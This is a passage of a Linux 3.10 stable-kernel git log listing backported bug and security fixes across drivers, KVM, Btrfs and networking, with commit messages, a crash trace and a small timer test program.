Signed-off-by: Pranav Vashi commit 4835cb03f6366e37dd1b1694521c5983c8be89f0 Author: Mike Christie Date: Mon Sep 29 13:55:41 2014 -0500 be2iscsi: check ip buffer before copying commit a41a9ad3bbf61fae0b6bfb232153da60d14fdbd9 upstream. Dan Carpenter found a issue where be2iscsi would copy the ip from userspace to the driver buffer before checking the len of the data being copied: http://marc.info/?l=linux-scsi&m=140982651504251&w=2 This patch just has us only copy what we the driver buffer can support. Tested-by: John Soni Jose Signed-off-by: Mike Christie Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86a50a122b93f433a56340524679e8583cb7499b Author: Andy Shevchenko Date: Fri Sep 12 15:11:58 2014 +0300 spi: dw-mid: check that DMA was inited before exit commit fb57862ead652454ceeb659617404c5f13bc34b5 upstream. If the driver was compiled with DMA support, but DMA channels weren't acquired by some reason, mid_spi_dma_exit() will crash the kernel. Fixes: 7063c0d942a1 (spi/dw_spi: add DMA support) Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4da4426212e30360b175b64b8bf383047da2142c Author: Andy Shevchenko Date: Thu Sep 18 20:08:51 2014 +0300 spi: dw-mid: respect 8 bit mode commit b41583e7299046abdc578c33f25ed83ee95b9b31 upstream. In case of 8 bit mode and DMA usage we end up with every second byte written as 0. We have to respect bits_per_word settings what this patch actually does. Signed-off-by: Andy Shevchenko Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3c9fffca1526349049e86f670a2dbd86514f78de Author: Bryan O'Donoghue Date: Wed Sep 24 00:26:24 2014 +0100 x86/intel/quark: Switch off CR4.PGE so TLB flush uses CR3 instead commit ee1b5b165c0a2f04d2107e634e51f05d0eb107de upstream. Quark x1000 advertises PGE via the standard CPUID method PGE bits exist in Quark X1000's PTEs. In order to flush an individual PTE it is necessary to reload CR3 irrespective of the PTE.PGE bit. See Quark Core_DevMan_001.pdf section 6.4.11 This bug was fixed in Galileo kernels, unfixed vanilla kernels are expected to crash and burn on this platform. Signed-off-by: Bryan O'Donoghue Cc: Borislav Petkov Link: http://lkml.kernel.org/r/1411514784-14885-1-git-send-email-pure.logic@nexus-software.ie Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dc915df75116abae129a65a019855237b7fbb56b Author: David Matlack Date: Fri Sep 19 16:03:25 2014 -0700 kvm: don't take vcpu mutex for obviously invalid vcpu ioctls commit 2ea75be3219571d0ec009ce20d9971e54af96e09 upstream. vcpu ioctls can hang the calling thread if issued while a vcpu is running. However, invalid ioctls can happen when userspace tries to probe the kind of file descriptors (e.g. isatty() calls ioctl(TCGETS)); in that case, we know the ioctl is going to be rejected as invalid anyway and we can fail before trying to take the vcpu mutex. This patch does not change functionality, it just makes invalid ioctls fail faster. Signed-off-by: David Matlack Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2814f0e922a9018ecb6d6abafd09974c89e3c79d Author: Christian Borntraeger Date: Wed Sep 3 16:21:32 2014 +0200 KVM: s390: unintended fallthrough for external call commit f346026e55f1efd3949a67ddd1dcea7c1b9a615e upstream. We must not fallthrough if the conditions for external call are not met. Signed-off-by: Christian Borntraeger Reviewed-by: Thomas Huth Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit efe51332bc09e30ffecb9821be14547fd4736d4d Author: David Matlack Date: Mon Aug 18 15:46:07 2014 -0700 kvm: x86: fix stale mmio cache bug commit 56f17dd3fbc44adcdbc3340fe3988ddb833a47a7 upstream. The following events can lead to an incorrect KVM_EXIT_MMIO bubbling up to userspace: (1) Guest accesses gpa X without a memory slot. The gfn is cached in struct kvm_vcpu_arch (mmio_gfn). On Intel EPT-enabled hosts, KVM sets the SPTE write-execute-noread so that future accesses cause EPT_MISCONFIGs. (2) Host userspace creates a memory slot via KVM_SET_USER_MEMORY_REGION covering the page just accessed. (3) Guest attempts to read or write to gpa X again. On Intel, this generates an EPT_MISCONFIG. The memory slot generation number that was incremented in (2) would normally take care of this but we fast path mmio faults through quickly_check_mmio_pf(), which only checks the per-vcpu mmio cache. Since we hit the cache, KVM passes a KVM_EXIT_MMIO up to userspace. This patch fixes the issue by using the memslot generation number to validate the mmio cache. Signed-off-by: David Matlack [xiaoguangrong: adjust the code to make it simpler for stable-tree fix.] Signed-off-by: Xiao Guangrong Reviewed-by: David Matlack Reviewed-by: Xiao Guangrong Tested-by: David Matlack Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bdeec872014c6ccb301884f9a401661c896240d4 Author: Andy Lutomirski Date: Wed Oct 8 12:32:47 2014 -0700 fs: Add a missing permission check to do_umount commit a1480dcc3c706e309a88884723446f2e84fedd5b upstream. Accessing do_remount_sb should require global CAP_SYS_ADMIN, but only one of the two call sites was appropriately protected. Fixes CVE-2014-7975. Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7805aadf476da522a53d9994484a81468d819ede Author: Sage Weil Date: Fri Sep 26 08:30:06 2014 -0700 Btrfs: fix race in WAIT_SYNC ioctl commit 42383020beb1cfb05f5d330cc311931bc4917a97 upstream. We check whether transid is already committed via last_trans_committed and then search through trans_list for pending transactions. If last_trans_committed is updated by btrfs_commit_transaction after we check it (there is no locking), we will fail to find the committed transaction and return EINVAL to the caller. This has been observed occasionally by ceph-osd (which uses this ioctl heavily). Fix by rechecking whether the provided transid <= last_trans_committed after the search fails, and if so return 0. Signed-off-by: Sage Weil Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0856c311af985543753720cee6c4d45c2f95aca3 Author: Josef Bacik Date: Fri Sep 19 15:43:34 2014 -0400 Btrfs: fix build_backref_tree issue with multiple shared blocks commit bbe9051441effce51c9a533d2c56440df64db2d7 upstream. Marc Merlin sent me a broken fs image months ago where it would blow up in the upper->checked BUG_ON() in build_backref_tree. This is because we had a scenario like this block a -- level 4 (not shared) | block b -- level 3 (reloc block, shared) | block c -- level 2 (not shared) | block d -- level 1 (shared) | block e -- level 0 (shared) We go to build a backref tree for block e, we notice block d is shared and add it to the list of blocks to lookup it's backrefs for. Now when we loop around we will check edges for the block, so we will see we looked up block c last time. So we lookup block d and then see that the block that points to it is block c and we can just skip that edge since we've already been up this path. The problem is because we clear need_check when we see block d (as it is shared) we never add block b as needing to be checked. And because block c is in our path already we bail out before we walk up to block b and add it to the backref check list. To fix this we need to reset need_check if we trip over a block that doesn't need to be checked. This will make sure that any subsequent blocks in the path as we're walking up afterwards are added to the list to be processed. With this patch I can now mount Marc's fs image and it'll complete the balance without panicing. Thanks, Reported-by: Marc MERLIN Signed-off-by: Josef Bacik Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ceed8aa6df5cdcd04451f809b8860b95dfdc786f Author: Josef Bacik Date: Thu Sep 18 11:30:44 2014 -0400 Btrfs: try not to ENOSPC on log replay commit 1d52c78afbbf80b58299e076a159617d6b42fe3c upstream. When doing log replay we may have to update inodes, which traditionally goes through our delayed inode stuff. This will try to move space over from the trans handle, but we don't reserve space in our trans handle on replay since we don't know how much we will need, so instead we try to flush. But because we have a trans handle open we won't flush anything, so if we are out of reserve space we will simply return ENOSPC. Since we know that if an operation made it into the log then we definitely had space before the box bought the farm then we don't need to worry about doing this space reservation. Use the fs_info->log_root_recovering flag to skip the delayed inode stuff and update the item directly. Thanks, Signed-off-by: Josef Bacik Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eebc4b0162b66873e135e44e1e8c20dd1667a266 Author: Greg Kroah-Hartman Date: Wed Oct 15 08:32:29 2014 +0200 Linux 3.10.58 Signed-off-by: Pranav Vashi commit 5557c8409d631a61ab54426bca25dd5ea8246b9e Author: Andreas Bomholtz Date: Mon Sep 22 09:50:43 2014 +0200 USB: cp210x: add support for Seluxit USB dongle commit dee80ad12d2b1b304286a707fde7ab05d1fc7bab upstream. Added the Seluxit ApS USB Serial Dongle to cp210x driver. Signed-off-by: Andreas Bomholtz Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8e6847a6a756a9e4d5f74fc3df6f65a27150813 Author: Joe Savage Date: Sat Sep 20 08:01:16 2014 -0500 USB: serial: cp210x: added Ketra N1 wireless interface support commit bfc2d7dfdd761ae3beccdb26abebe03cef042f46 upstream. Added support for Ketra N1 wireless interface, which uses the Silicon Labs' CP2104 USB to UART bridge with customized PID 8946. Signed-off-by: Joe Savage Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f16873510fba6e18d8d4cf9633cd1eeca3572cf3 Author: Lu Baolu Date: Fri Sep 19 10:13:50 2014 +0800 USB: Add device quirk for ASUS T100 Base Station keyboard commit ddbe1fca0bcb87ca8c199ea873a456ca8a948567 upstream. This full-speed USB device generates spurious remote wakeup event as soon as USB_DEVICE_REMOTE_WAKEUP feature is set. As the result, Linux can't enter system suspend and S0ix power saving modes once this keyboard is used. This patch tries to introduce USB_QUIRK_IGNORE_REMOTE_WAKEUP quirk. With this quirk set, wakeup capability will be ignored during device configure. This patch could be back-ported to kernels as old as 2.6.39. Signed-off-by: Lu Baolu Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit af2b4ee7558d41a7d25a3c5300a0406db119f2c0 Author: Gao feng Date: Fri Jan 24 16:29:11 2014 +0800 ipv6: reallocate addrconf router for ipv6 address when lo device up [ Upstream commit 33d99113b1102c2d2f8603b9ba72d89d915c13f5 ] commit 25fb6ca4ed9cad72f14f61629b68dc03c0d9713f "net IPv6 : Fix broken IPv6 routing table after loopback down-up" allocates addrconf router for ipv6 address when lo device up. but commit a881ae1f625c599b460cc8f8a7fcb1c438f699ad "ipv6:don't call addrconf_dst_alloc again when enable lo" breaks this behavior. Since the addrconf router is moved to the garbage list when lo device down, we should release this router and rellocate a new one for ipv6 address when lo device up. This patch solves bug 67951 on bugzilla https://bugzilla.kernel.org/show_bug.cgi?id=67951 change from v1: use ip6_rt_put to repleace ip6_del_rt, thanks Hannes! change code style, suggested by Sergei. CC: Sabrina Dubroca CC: Hannes Frederic Sowa Reported-by: Weilong Chen Signed-off-by: Weilong Chen Signed-off-by: Gao feng Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 225029fefa20601b5784a24735899a377f64f07d Author: Per Hurtig Date: Thu Jun 12 17:08:32 2014 +0200 tcp: fixing TLP's FIN recovery [ Upstream commit bef1909ee3ed1ca39231b260a8d3b4544ecd0c8f ] Fix to a problem observed when losing a FIN segment that does not contain data. In such situations, TLP is unable to recover from *any* tail loss and instead adds at least PTO ms to the retransmission process, i.e., RTO = RTO + PTO. Signed-off-by: Per Hurtig Signed-off-by: Eric Dumazet Acked-by: Nandita Dukkipati Acked-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb4b18c44cffa0a427e38e22bae5733e3e56fe26 Author: Vlad Yasevich Date: Fri Oct 3 18:16:20 2014 -0400 sctp: handle association restarts when the socket is closed. [ Upstream commit bdf6fa52f01b941d4a80372d56de465bdbbd1d23 ] Currently association restarts do not take into consideration the state of the socket. When a restart happens, the current assocation simply transitions into established state. This creates a condition where a remote system, through a the restart procedure, may create a local association that is no way reachable by user. The conditions to trigger this are as follows: 1) Remote does not acknoledge some data causing data to remain outstanding. 2) Local application calls close() on the socket. Since data is still outstanding, the association is placed in SHUTDOWN_PENDING state. However, the socket is closed. 3) The remote tries to create a new association, triggering a restart on the local system. The association moves from SHUTDOWN_PENDING to ESTABLISHED. At this point, it is no longer reachable by any socket on the local system. This patch addresses the above situation by moving the newly ESTABLISHED association into SHUTDOWN-SENT state and bundling a SHUTDOWN after the COOKIE-ACK chunk. This way, the restarted associate immidiately enters the shutdown procedure and forces the termination of the unreachable association. Reported-by: David Laight Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84cf7bc1c8eaf90b1ebc96706c9c950cd9b0f185 Author: Nicolas Dichtel Date: Thu Oct 2 18:26:49 2014 +0200 ip6_gre: fix flowi6_proto value in xmit path [ Upstream commit 3be07244b7337760a3269d56b2f4a63e72218648 ] In xmit path, we build a flowi6 which will be used for the output route lookup. We are sending a GRE packet, neither IPv4 nor IPv6 encapsulated packet, thus the protocol should be IPPROTO_GRE. Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Reported-by: Matthieu Ternisien d'Ouville Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8a6fb0889ae13b70dec962f70b71f0c2b7db4a4 Author: KY Srinivasan Date: Sun Sep 28 22:16:43 2014 -0700 hyperv: Fix a bug in netvsc_start_xmit() [ Upstream commit dedb845ded56ded1c62f5398a94ffa8615d4592d ] After the packet is successfully sent, we should not touch the skb as it may have been freed. This patch is based on the work done by Long Li . In this version of the patch I have fixed issues pointed out by David. David, please queue this up for stable. Signed-off-by: K. Y. Srinivasan Tested-by: Long Li Tested-by: Sitsofe Wheeler Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 47b419345edee271bc2593ab4d235851d5d8dc16 Author: Vlad Yasevich Date: Tue Sep 30 19:39:36 2014 -0400 tg3: Allow for recieve of full-size 8021AD frames [ Upstream commit 7d3083ee36b51e425b6abd76778a2046906b0fd3 ] When receiving a vlan-tagged frame that still contains a vlan header, the length of the packet will be greater then MTU+ETH_HLEN since it will account of the extra vlan header. TG3 checks this for the case for 802.1Q, but not for 802.1ad. As a result, full sized 802.1ad frames get dropped by the card. Add a check for 802.1ad protocol when receving full sized frames. Suggested-by: Prashant Sreedharan CC: Prashant Sreedharan CC: Michael Chan Signed-off-by: Vladislav Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1f0555f0e65f5fb032c0ec3191280fd8afcdb9d Author: Vlad Yasevich Date: Thu Sep 18 10:31:17 2014 -0400 tg3: Work around HW/FW limitations with vlan encapsulated frames [ Upstream commit 476c18850c6cbaa3f2bb661ae9710645081563b9 ] TG3 appears to have an issue performing TSO and checksum offloading correclty when the frame has been vlan encapsulated (non-accelrated). In these cases, tcp checksum is not correctly updated. This patch attempts to work around this issue. After the patch, 802.1ad vlans start working correctly over tg3 devices. CC: Prashant Sreedharan CC: Michael Chan Signed-off-by: Vladislav Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 25e6eb450d78c12f8e845f1339222e570f9805ca Author: Guillaume Nault Date: Wed Sep 3 14:12:55 2014 +0200 l2tp: fix race while getting PMTU on PPP pseudo-wire [ Upstream commit eed4d839b0cdf9d84b0a9bc63de90fd5e1e886fb ] Use dst_entry held by sk_dst_get() to retrieve tunnel's PMTU. The dst_mtu(__sk_dst_get(tunnel->sock)) call was racy. __sk_dst_get() could return NULL if tunnel->sock->sk_dst_cache was reset just before the call, thus making dst_mtu() dereference a NULL pointer: [ 1937.661598] BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 [ 1937.664005] IP: [] pppol2tp_connect+0x33d/0x41e [l2tp_ppp] [ 1937.664005] PGD daf0c067 PUD d9f93067 PMD 0 [ 1937.664005] Oops: 0000 [#1] SMP [ 1937.664005] Modules linked in: l2tp_ppp l2tp_netlink l2tp_core ip6table_filter ip6_tables iptable_filter ip_tables ebtable_nat ebtables x_tables udp_tunnel pppoe pppox ppp_generic slhc deflate ctr twofish_generic twofish_x86_64_3way xts lrw gf128mul glue_helper twofish_x86_64 twofish_common blowfish_generic blowfish_x86_64 blowfish_common des_generic cbc xcbc rmd160 sha512_generic hmac crypto_null af_key xfrm_algo 8021q garp bridge stp llc tun atmtcp clip atm ext3 mbcache jbd iTCO_wdt coretemp kvm_intel iTCO_vendor_support kvm pcspkr evdev ehci_pci lpc_ich mfd_core i5400_edac edac_core i5k_amb shpchp button processor thermal_sys xfs crc32c_generic libcrc32c dm_mod usbhid sg hid sr_mod sd_mod cdrom crc_t10dif crct10dif_common ata_generic ahci ata_piix tg3 libahci libata uhci_hcd ptp ehci_hcd pps_core usbcore scsi_mod libphy usb_common [last unloaded: l2tp_core] [ 1937.664005] CPU: 0 PID: 10022 Comm: l2tpstress Tainted: G O 3.17.0-rc1 #1 [ 1937.664005] Hardware name: HP ProLiant DL160 G5, BIOS O12 08/22/2008 [ 1937.664005] task: ffff8800d8fda790 ti: ffff8800c43c4000 task.ti: ffff8800c43c4000 [ 1937.664005] RIP: 0010:[] [] pppol2tp_connect+0x33d/0x41e [l2tp_ppp] [ 1937.664005] RSP: 0018:ffff8800c43c7de8 EFLAGS: 00010282 [ 1937.664005] RAX: ffff8800da8a7240 RBX: ffff8800d8c64600 RCX: 000001c325a137b5 [ 1937.664005] RDX: 8c6318c6318c6320 RSI: 000000000000010c RDI: 0000000000000000 [ 1937.664005] RBP: ffff8800c43c7ea8 R08: 0000000000000000 R09: 0000000000000000 [ 1937.664005] R10: ffffffffa048e2c0 R11: ffff8800d8c64600 R12: ffff8800ca7a5000 [ 1937.664005] R13: ffff8800c439bf40 R14: 000000000000000c R15: 0000000000000009 [ 1937.664005] FS: 00007fd7f610f700(0000) GS:ffff88011a600000(0000) knlGS:0000000000000000 [ 1937.664005] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 1937.664005] CR2: 0000000000000020 CR3: 00000000d9d75000 CR4: 00000000000027e0 [ 1937.664005] Stack: [ 1937.664005] ffffffffa049da80 ffff8800d8fda790 000000000000005b ffff880000000009 [ 1937.664005] ffff8800daf3f200 0000000000000003 ffff8800c43c7e48 ffffffff81109b57 [ 1937.664005] ffffffff81109b0e ffffffff8114c566 0000000000000000 0000000000000000 [ 1937.664005] Call Trace: [ 1937.664005] [] ? pppol2tp_connect+0x235/0x41e [l2tp_ppp] [ 1937.664005] [] ? might_fault+0x9e/0xa5 [ 1937.664005] [] ? might_fault+0x55/0xa5 [ 1937.664005] [] ? rcu_read_unlock+0x1c/0x26 [ 1937.664005] [] SYSC_connect+0x87/0xb1 [ 1937.664005] [] ? sysret_check+0x1b/0x56 [ 1937.664005] [] ? trace_hardirqs_on_caller+0x145/0x1a1 [ 1937.664005] [] ? trace_hardirqs_on_thunk+0x3a/0x3f [ 1937.664005] [] ? spin_lock+0x9/0xb [ 1937.664005] [] SyS_connect+0x9/0xb [ 1937.664005] [] system_call_fastpath+0x16/0x1b [ 1937.664005] Code: 10 2a 84 81 e8 65 76 bd e0 65 ff 0c 25 10 bb 00 00 4d 85 ed 74 37 48 8b 85 60 ff ff ff 48 8b 80 88 01 00 00 48 8b b8 10 02 00 00 <48> 8b 47 20 ff 50 20 85 c0 74 0f 83 e8 28 89 83 10 01 00 00 89 [ 1937.664005] RIP [] pppol2tp_connect+0x33d/0x41e [l2tp_ppp] [ 1937.664005] RSP [ 1937.664005] CR2: 0000000000000020 [ 1939.559375] ---[ end trace 82d44500f28f8708 ]--- Fixes: f34c4a35d879 ("l2tp: take PMTU from tunnel UDP socket") Signed-off-by: Guillaume Nault Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b86d1485e15b2851376acc303332ce8aaf9892cb Author: Jiri Benc Date: Thu Aug 21 21:33:44 2014 +0200 openvswitch: fix panic with multiple vlan headers [ Upstream commit 2ba5af42a7b59ef01f9081234d8855140738defd ] When there are multiple vlan headers present in a received frame, the first one is put into vlan_tci and protocol is set to ETH_P_8021Q. Anything in the skb beyond the VLAN TPID may be still non-linear, including the inner TCI and ethertype. While ovs_flow_extract takes care of IP and IPv6 headers, it does nothing with ETH_P_8021Q. Later, if OVS_ACTION_ATTR_POP_VLAN is executed, __pop_vlan_tci pulls the next vlan header into vlan_tci. This leads to two things: 1. Part of the resulting ethernet header is in the non-linear part of the skb. When eth_type_trans is called later as the result of OVS_ACTION_ATTR_OUTPUT, kernel BUGs in __skb_pull. Also, __pop_vlan_tci is in fact accessing random data when it reads past the TPID. 2. network_header points into the ethernet header instead of behind it. mac_len is set to a wrong value (10), too. Reported-by: Yulong Pei Signed-off-by: Jiri Benc Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f6da2fac42c1cbd45f2d8f921aa78ce2a6294253 Author: Eric Dumazet Date: Fri Aug 15 09:16:04 2014 -0700 packet: handle too big packets for PACKET_V3 [ Upstream commit dc808110bb62b64a448696ecac3938902c92e1ab ] af_packet can currently overwrite kernel memory by out of bound accesses, because it assumed a [new] block can always hold one frame. This is not generally the case, even if most existing tools do it right. This patch clamps too long frames as API permits, and issue a one time error on syslog. [ 394.357639] tpacket_rcv: packet too big, clamped from 5042 to 3966. macoff=82 In this example, packet header tp_snaplen was set to 3966, and tp_len was set to 5042 (skb->len) Signed-off-by: Eric Dumazet Fixes: f6fb8f100b80 ("af-packet: TPACKET_V3 flexible buffer implementation.") Acked-by: Daniel Borkmann Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95f4ed289284d5fb892df7a1c7df53dfa14d4093 Author: Neal Cardwell Date: Thu Aug 14 12:40:05 2014 -0400 tcp: fix tcp_release_cb() to dispatch via address family for mtu_reduced() [ Upstream commit 4fab9071950c2021d846e18351e0f46a1cffd67b ] Make sure we use the correct address-family-specific function for handling MTU reductions from within tcp_release_cb(). Previously AF_INET6 sockets were incorrectly always using the IPv6 code path when sometimes they were handling IPv4 traffic and thus had an IPv4 dst. Signed-off-by: Neal Cardwell Signed-off-by: Eric Dumazet Diagnosed-by: Willem de Bruijn Fixes: 563d34d057862 ("tcp: dont drop MTU reduction indications") Reviewed-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c344a6f1543a712828e7e4af808a2a860f024a66 Author: Shmulik Ladkani Date: Thu Aug 14 15:27:20 2014 +0300 sit: Fix ipip6_tunnel_lookup device matching criteria [ Upstream commit bc8fc7b8f825ef17a0fb9e68c18ce94fa66ab337 ] As of 4fddbf5d78 ("sit: strictly restrict incoming traffic to tunnel link device"), when looking up a tunnel, tunnel's underlying interface (t->parms.link) is verified to match incoming traffic's ingress device. However the comparison was incorrectly based on skb->dev->iflink. Instead, dev->ifindex should be used, which correctly represents the interface from which the IP stack hands the ipip6 packets. This allows setting up sit tunnels bound to vlan interfaces (otherwise incoming ipip6 traffic on the vlan interface was dropped due to ipip6_tunnel_lookup match failure). Signed-off-by: Shmulik Ladkani Acked-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a1f342c314fc03ec39da89ebc6355ddd79b41b1 Author: Stanislaw Gruszka Date: Tue Aug 12 10:35:19 2014 +0200 myri10ge: check for DMA mapping errors [ Upstream commit 10545937e866ccdbb7ab583031dbdcc6b14e4eb4 ] On IOMMU systems DMA mapping can fail, we need to check for that possibility. Signed-off-by: Stanislaw Gruszka Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9531d2e968c302d4d2c74332692a32300fd24d0 Author: Greg Kroah-Hartman Date: Thu Oct 9 12:18:54 2014 -0700 Linux 3.10.57 Signed-off-by: Pranav Vashi commit 1f59bd93a1621c400f24eb938479ef72bf908f7e Author: Lars Ellenberg Date: Wed Jul 9 21:18:32 2014 +0200 drbd: fix regression 'out of mem, failed to invoke fence-peer helper' commit bbc1c5e8ad6dfebf9d13b8a4ccdf66c92913eac9 upstream. Since linux kernel 3.13, kthread_run() internally uses wait_for_completion_killable(). We sometimes may use kthread_run() while we still have a signal pending, which we used to kick our threads out of potentially blocking network functions, causing kthread_run() to mistake that as a new fatal signal and fail. Fix: flush_signals() before kthread_run(). Signed-off-by: Philipp Reisner Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a240c473cd9f0305d6bb0594a402b598a3ca550 Author: Andrew Hunter Date: Thu Sep 4 14:17:16 2014 -0700 jiffies: Fix timeval conversion to jiffies commit d78c9300c51d6ceed9f6d078d4e9366f259de28c upstream. timeval_to_jiffies tried to round a timeval up to an integral number of jiffies, but the logic for doing so was incorrect: intervals corresponding to exactly N jiffies would become N+1. This manifested itself particularly repeatedly stopping/starting an itimer: setitimer(ITIMER_PROF, &val, NULL); setitimer(ITIMER_PROF, NULL, &val); would add a full tick to val, _even if it was exactly representable in terms of jiffies_ (say, the result of a previous rounding.) Doing this repeatedly would cause unbounded growth in val. So fix the math. Here's what was wrong with the conversion: we essentially computed (eliding seconds) jiffies = usec * (NSEC_PER_USEC/TICK_NSEC) by using scaling arithmetic, which took the best approximation of NSEC_PER_USEC/TICK_NSEC with denominator of 2^USEC_JIFFIE_SC = x/(2^USEC_JIFFIE_SC), and computed: jiffies = (usec * x) >> USEC_JIFFIE_SC and rounded this calculation up in the intermediate form (since we can't necessarily exactly represent TICK_NSEC in usec.) But the scaling arithmetic is a (very slight) *over*approximation of the true value; that is, instead of dividing by (1 usec/ 1 jiffie), we effectively divided by (1 usec/1 jiffie)-epsilon (rounding down). This would normally be fine, but we want to round timeouts up, and we did so by adding 2^USEC_JIFFIE_SC - 1 before the shift; this would be fine if our division was exact, but dividing this by the slightly smaller factor was equivalent to adding just _over_ 1 to the final result (instead of just _under_ 1, as desired.) In particular, with HZ=1000, we consistently computed that 10000 usec was 11 jiffies; the same was true for any exact multiple of TICK_NSEC. We could possibly still round in the intermediate form, adding something less than 2^USEC_JIFFIE_SC - 1, but easier still is to convert usec->nsec, round in nanoseconds, and then convert using time*spec*_to_jiffies. This adds one constant multiplication, and is not observably slower in microbenchmarks on recent x86 hardware. Tested: the following program: int main() { struct itimerval zero = {{0, 0}, {0, 0}}; /* Initially set to 10 ms. */ struct itimerval initial = zero; initial.it_interval.tv_usec = 10000; setitimer(ITIMER_PROF, &initial, NULL); /* Save and restore several times. */ for (size_t i = 0; i < 10; ++i) { struct itimerval prev; setitimer(ITIMER_PROF, &zero, &prev); /* on old kernels, this goes up by TICK_USEC every iteration */ printf("previous value: %ld %ld %ld %ld\n", prev.it_interval.tv_sec, prev.it_interval.tv_usec, prev.it_value.tv_sec, prev.it_value.tv_usec); setitimer(ITIMER_PROF, &prev, NULL); } return 0; } Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Paul Turner Cc: Richard Cochran Cc: Prarit Bhargava Reviewed-by: Paul Turner Reported-by: Aaron Jacobs Signed-off-by: Andrew Hunter [jstultz: Tweaked to apply to 3.17-rc] Signed-off-by: John Stultz [bwh: Backported to 3.16: adjust filename] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a3c245b68143f1adab56be15b8d569f089f73690 Author: NeilBrown Date: Thu Oct 2 13:45:00 2014 +1000 md/raid5: disable 'DISCARD' by default due to safety concerns. commit 8e0e99ba64c7ba46133a7c8a3e3f7de01f23bd93 upstream. It has come to my attention (thanks Martin) that 'discard_zeroes_data' is only a hint. Some devices in some cases don't do what it says on the label. The use of DISCARD in RAID5 depends on reads from discarded regions being predictably zero. If a write to a previously discarded region performs a read-modify-write cycle it assumes that the parity block was consistent with the data blocks. If all were zero, this would be the case. If some are and some aren't this would not be the case. This could lead to data corruption after a device failure when data needs to be reconstructed from the parity. As we cannot trust 'discard_zeroes_data', ignore it by default and so disallow DISCARD on all raid4/5/6 arrays. As many devices are trustworthy, and as there are benefits to using DISCARD, add a module parameter to over-ride this caution and cause DISCARD to work if discard_zeroes_data is set. If a site want to enable DISCARD on some arrays but not on others they should select DISCARD support at the filesystem level, and set the raid456 module parameter. raid456.devices_handle_discard_safely=Y As this is a data-safety issue, I believe this patch is suitable for -stable. DISCARD support for RAID456 was added in 3.7 Cc: Shaohua Li Cc: "Martin K. Petersen" Cc: Mike Snitzer Cc: Heinz Mauelshagen Acked-by: Martin K. Petersen Acked-by: Mike Snitzer Fixes: 620125f2bf8ff0c4969b79653b54d7bcc9d40637 Signed-off-by: NeilBrown [bwh: Backported to 3.10: adjust context] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b928d05041619f1980a1f0d6457614bb57d54ba Author: Hans Verkuil Date: Sat Sep 20 16:16:35 2014 -0300 media: vb2: fix VBI/poll regression commit 58d75f4b1ce26324b4d809b18f94819843a98731 upstream. The recent conversion of saa7134 to vb2 unconvered a poll() bug that broke the teletext applications alevt and mtt. These applications expect that calling poll() without having called VIDIOC_STREAMON will cause poll() to return POLLERR. That did not happen in vb2. This patch fixes that behavior. It also fixes what should happen when poll() is called when STREAMON is called but no buffers have been queued. In that case poll() will also return POLLERR, but only for capture queues since output queues will always return POLLOUT anyway in that situation. This brings the vb2 behavior in line with the old videobuf behavior. Signed-off-by: Hans Verkuil Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 73f64e2d02c932d4e6211df88cf13d048e6b69f9 Author: Mel Gorman Date: Thu Oct 